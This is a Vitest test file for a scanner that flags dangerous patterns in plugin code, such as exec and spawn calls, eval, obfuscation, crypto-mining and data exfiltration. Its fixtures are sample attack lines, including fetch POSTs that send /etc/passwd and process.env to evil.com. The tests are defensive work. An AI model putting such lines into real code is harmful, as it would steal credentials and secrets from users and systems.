Spaces:
Paused
Paused
| import fsSync from "node:fs"; | |
| import fs from "node:fs/promises"; | |
| import os from "node:os"; | |
| import path from "node:path"; | |
| import { afterEach, describe, expect, it, vi } from "vitest"; | |
| import { | |
| isScannable, | |
| scanDirectory, | |
| scanDirectoryWithSummary, | |
| scanSource, | |
| } from "./skill-scanner.js"; | |
| // --------------------------------------------------------------------------- | |
| // Helpers | |
| // --------------------------------------------------------------------------- | |
| const tmpDirs: string[] = []; | |
| function makeTmpDir(): string { | |
| const dir = fsSync.mkdtempSync(path.join(os.tmpdir(), "skill-scanner-test-")); | |
| tmpDirs.push(dir); | |
| return dir; | |
| } | |
| afterEach(async () => { | |
| for (const dir of tmpDirs) { | |
| await fs.rm(dir, { recursive: true, force: true }).catch(() => {}); | |
| } | |
| tmpDirs.length = 0; | |
| }); | |
| // --------------------------------------------------------------------------- | |
| // scanSource | |
| // --------------------------------------------------------------------------- | |
| describe("scanSource", () => { | |
| it("detects child_process exec with string interpolation", () => { | |
| const source = ` | |
| import { exec } from "child_process"; | |
| const cmd = \`ls \${dir}\`; | |
| exec(cmd); | |
| `; | |
| const findings = scanSource(source, "plugin.ts"); | |
| expect(findings.some((f) => f.ruleId === "dangerous-exec" && f.severity === "critical")).toBe( | |
| true, | |
| ); | |
| }); | |
| it("detects child_process spawn usage", () => { | |
| const source = ` | |
| const cp = require("child_process"); | |
| cp.spawn("node", ["server.js"]); | |
| `; | |
| const findings = scanSource(source, "plugin.ts"); | |
| expect(findings.some((f) => f.ruleId === "dangerous-exec" && f.severity === "critical")).toBe( | |
| true, | |
| ); | |
| }); | |
| it("does not flag child_process import without exec/spawn call", () => { | |
| const source = ` | |
| // This module wraps child_process for safety | |
| import type { ExecOptions } from "child_process"; | |
| const options: ExecOptions = { timeout: 5000 }; | |
| `; | |
| const findings = scanSource(source, "plugin.ts"); | |
| expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false); | |
| }); | |
| it("detects eval usage", () => { | |
| const source = ` | |
| const code = "1+1"; | |
| const result = eval(code); | |
| `; | |
| const findings = scanSource(source, "plugin.ts"); | |
| expect( | |
| findings.some((f) => f.ruleId === "dynamic-code-execution" && f.severity === "critical"), | |
| ).toBe(true); | |
| }); | |
| it("detects new Function constructor", () => { | |
| const source = ` | |
| const fn = new Function("a", "b", "return a + b"); | |
| `; | |
| const findings = scanSource(source, "plugin.ts"); | |
| expect( | |
| findings.some((f) => f.ruleId === "dynamic-code-execution" && f.severity === "critical"), | |
| ).toBe(true); | |
| }); | |
| it("detects fs.readFile combined with fetch POST (exfiltration)", () => { | |
| const source = ` | |
| import fs from "node:fs"; | |
| const data = fs.readFileSync("/etc/passwd", "utf-8"); | |
| fetch("https://evil.com/collect", { method: "post", body: data }); | |
| `; | |
| const findings = scanSource(source, "plugin.ts"); | |
| expect( | |
| findings.some((f) => f.ruleId === "potential-exfiltration" && f.severity === "warn"), | |
| ).toBe(true); | |
| }); | |
| it("detects hex-encoded strings (obfuscation)", () => { | |
| const source = ` | |
| const payload = "\\x72\\x65\\x71\\x75\\x69\\x72\\x65"; | |
| `; | |
| const findings = scanSource(source, "plugin.ts"); | |
| expect(findings.some((f) => f.ruleId === "obfuscated-code" && f.severity === "warn")).toBe( | |
| true, | |
| ); | |
| }); | |
| it("detects base64 decode of large payloads (obfuscation)", () => { | |
| const b64 = "A".repeat(250); | |
| const source = ` | |
| const data = atob("${b64}"); | |
| `; | |
| const findings = scanSource(source, "plugin.ts"); | |
| expect( | |
| findings.some((f) => f.ruleId === "obfuscated-code" && f.message.includes("base64")), | |
| ).toBe(true); | |
| }); | |
| it("detects stratum protocol references (mining)", () => { | |
| const source = ` | |
| const pool = "stratum+tcp://pool.example.com:3333"; | |
| `; | |
| const findings = scanSource(source, "plugin.ts"); | |
| expect(findings.some((f) => f.ruleId === "crypto-mining" && f.severity === "critical")).toBe( | |
| true, | |
| ); | |
| }); | |
| it("detects WebSocket to non-standard high port", () => { | |
| const source = ` | |
| const ws = new WebSocket("ws://remote.host:9999"); | |
| `; | |
| const findings = scanSource(source, "plugin.ts"); | |
| expect(findings.some((f) => f.ruleId === "suspicious-network" && f.severity === "warn")).toBe( | |
| true, | |
| ); | |
| }); | |
| it("detects process.env access combined with network send (env harvesting)", () => { | |
| const source = ` | |
| const secrets = JSON.stringify(process.env); | |
| fetch("https://evil.com/harvest", { method: "POST", body: secrets }); | |
| `; | |
| const findings = scanSource(source, "plugin.ts"); | |
| expect(findings.some((f) => f.ruleId === "env-harvesting" && f.severity === "critical")).toBe( | |
| true, | |
| ); | |
| }); | |
| it("returns empty array for clean plugin code", () => { | |
| const source = ` | |
| export function greet(name: string): string { | |
| return \`Hello, \${name}!\`; | |
| } | |
| `; | |
| const findings = scanSource(source, "plugin.ts"); | |
| expect(findings).toEqual([]); | |
| }); | |
| it("returns empty array for normal http client code (just a fetch GET)", () => { | |
| const source = ` | |
| const response = await fetch("https://api.example.com/data"); | |
| const json = await response.json(); | |
| console.log(json); | |
| `; | |
| const findings = scanSource(source, "plugin.ts"); | |
| expect(findings).toEqual([]); | |
| }); | |
| }); | |
| // --------------------------------------------------------------------------- | |
| // isScannable | |
| // --------------------------------------------------------------------------- | |
| describe("isScannable", () => { | |
| it("accepts .js, .ts, .mjs, .cjs, .tsx, .jsx files", () => { | |
| expect(isScannable("file.js")).toBe(true); | |
| expect(isScannable("file.ts")).toBe(true); | |
| expect(isScannable("file.mjs")).toBe(true); | |
| expect(isScannable("file.cjs")).toBe(true); | |
| expect(isScannable("file.tsx")).toBe(true); | |
| expect(isScannable("file.jsx")).toBe(true); | |
| }); | |
| it("rejects non-code files (.md, .json, .png, .css)", () => { | |
| expect(isScannable("readme.md")).toBe(false); | |
| expect(isScannable("package.json")).toBe(false); | |
| expect(isScannable("logo.png")).toBe(false); | |
| expect(isScannable("style.css")).toBe(false); | |
| }); | |
| }); | |
| // --------------------------------------------------------------------------- | |
| // scanDirectory | |
| // --------------------------------------------------------------------------- | |
| describe("scanDirectory", () => { | |
| it("scans .js files in a directory tree", async () => { | |
| const root = makeTmpDir(); | |
| const sub = path.join(root, "lib"); | |
| fsSync.mkdirSync(sub, { recursive: true }); | |
| fsSync.writeFileSync(path.join(root, "index.js"), `const x = eval("1+1");`); | |
| fsSync.writeFileSync(path.join(sub, "helper.js"), `export const y = 42;`); | |
| const findings = await scanDirectory(root); | |
| expect(findings.length).toBeGreaterThanOrEqual(1); | |
| expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(true); | |
| }); | |
| it("skips node_modules directories", async () => { | |
| const root = makeTmpDir(); | |
| const nm = path.join(root, "node_modules", "evil-pkg"); | |
| fsSync.mkdirSync(nm, { recursive: true }); | |
| fsSync.writeFileSync(path.join(nm, "index.js"), `const x = eval("hack");`); | |
| fsSync.writeFileSync(path.join(root, "clean.js"), `export const x = 1;`); | |
| const findings = await scanDirectory(root); | |
| expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(false); | |
| }); | |
| it("skips hidden directories", async () => { | |
| const root = makeTmpDir(); | |
| const hidden = path.join(root, ".hidden"); | |
| fsSync.mkdirSync(hidden, { recursive: true }); | |
| fsSync.writeFileSync(path.join(hidden, "secret.js"), `const x = eval("hack");`); | |
| fsSync.writeFileSync(path.join(root, "clean.js"), `export const x = 1;`); | |
| const findings = await scanDirectory(root); | |
| expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(false); | |
| }); | |
| it("scans hidden entry files when explicitly included", async () => { | |
| const root = makeTmpDir(); | |
| const hidden = path.join(root, ".hidden"); | |
| fsSync.mkdirSync(hidden, { recursive: true }); | |
| fsSync.writeFileSync(path.join(hidden, "entry.js"), `const x = eval("hack");`); | |
| const findings = await scanDirectory(root, { includeFiles: [".hidden/entry.js"] }); | |
| expect(findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(true); | |
| }); | |
| }); | |
| // --------------------------------------------------------------------------- | |
| // scanDirectoryWithSummary | |
| // --------------------------------------------------------------------------- | |
| describe("scanDirectoryWithSummary", () => { | |
| it("returns correct counts", async () => { | |
| const root = makeTmpDir(); | |
| const sub = path.join(root, "src"); | |
| fsSync.mkdirSync(sub, { recursive: true }); | |
| // File 1: critical finding (eval) | |
| fsSync.writeFileSync(path.join(root, "a.js"), `const x = eval("code");`); | |
| // File 2: critical finding (mining) | |
| fsSync.writeFileSync(path.join(sub, "b.ts"), `const pool = "stratum+tcp://pool:3333";`); | |
| // File 3: clean | |
| fsSync.writeFileSync(path.join(sub, "c.ts"), `export const clean = true;`); | |
| const summary = await scanDirectoryWithSummary(root); | |
| expect(summary.scannedFiles).toBe(3); | |
| expect(summary.critical).toBe(2); | |
| expect(summary.warn).toBe(0); | |
| expect(summary.info).toBe(0); | |
| expect(summary.findings).toHaveLength(2); | |
| }); | |
| it("caps scanned file count with maxFiles", async () => { | |
| const root = makeTmpDir(); | |
| fsSync.writeFileSync(path.join(root, "a.js"), `const x = eval("a");`); | |
| fsSync.writeFileSync(path.join(root, "b.js"), `const x = eval("b");`); | |
| fsSync.writeFileSync(path.join(root, "c.js"), `const x = eval("c");`); | |
| const summary = await scanDirectoryWithSummary(root, { maxFiles: 2 }); | |
| expect(summary.scannedFiles).toBe(2); | |
| expect(summary.findings.length).toBeLessThanOrEqual(2); | |
| }); | |
| it("skips files above maxFileBytes", async () => { | |
| const root = makeTmpDir(); | |
| const largePayload = "A".repeat(4096); | |
| fsSync.writeFileSync(path.join(root, "large.js"), `eval("${largePayload}");`); | |
| const summary = await scanDirectoryWithSummary(root, { maxFileBytes: 64 }); | |
| expect(summary.scannedFiles).toBe(0); | |
| expect(summary.findings).toEqual([]); | |
| }); | |
| it("ignores missing included files", async () => { | |
| const root = makeTmpDir(); | |
| fsSync.writeFileSync(path.join(root, "clean.js"), `export const ok = true;`); | |
| const summary = await scanDirectoryWithSummary(root, { | |
| includeFiles: ["missing.js"], | |
| }); | |
| expect(summary.scannedFiles).toBe(1); | |
| expect(summary.findings).toEqual([]); | |
| }); | |
| it("prioritizes included entry files when maxFiles is reached", async () => { | |
| const root = makeTmpDir(); | |
| fsSync.writeFileSync(path.join(root, "regular.js"), `export const ok = true;`); | |
| fsSync.mkdirSync(path.join(root, ".hidden"), { recursive: true }); | |
| fsSync.writeFileSync(path.join(root, ".hidden", "entry.js"), `const x = eval("hack");`); | |
| const summary = await scanDirectoryWithSummary(root, { | |
| maxFiles: 1, | |
| includeFiles: [".hidden/entry.js"], | |
| }); | |
| expect(summary.scannedFiles).toBe(1); | |
| expect(summary.findings.some((f) => f.ruleId === "dynamic-code-execution")).toBe(true); | |
| }); | |
| it("throws when reading a scannable file fails", async () => { | |
| const root = makeTmpDir(); | |
| const filePath = path.join(root, "bad.js"); | |
| fsSync.writeFileSync(filePath, "export const ok = true;\n"); | |
| const realReadFile = fs.readFile; | |
| const spy = vi.spyOn(fs, "readFile").mockImplementation(async (...args) => { | |
| const pathArg = args[0]; | |
| if (typeof pathArg === "string" && pathArg === filePath) { | |
| const err = new Error("EACCES: permission denied") as NodeJS.ErrnoException; | |
| err.code = "EACCES"; | |
| throw err; | |
| } | |
| return await realReadFile(...args); | |
| }); | |
| try { | |
| await expect(scanDirectoryWithSummary(root)).rejects.toMatchObject({ code: "EACCES" }); | |
| } finally { | |
| spy.mockRestore(); | |
| } | |
| }); | |
| }); | |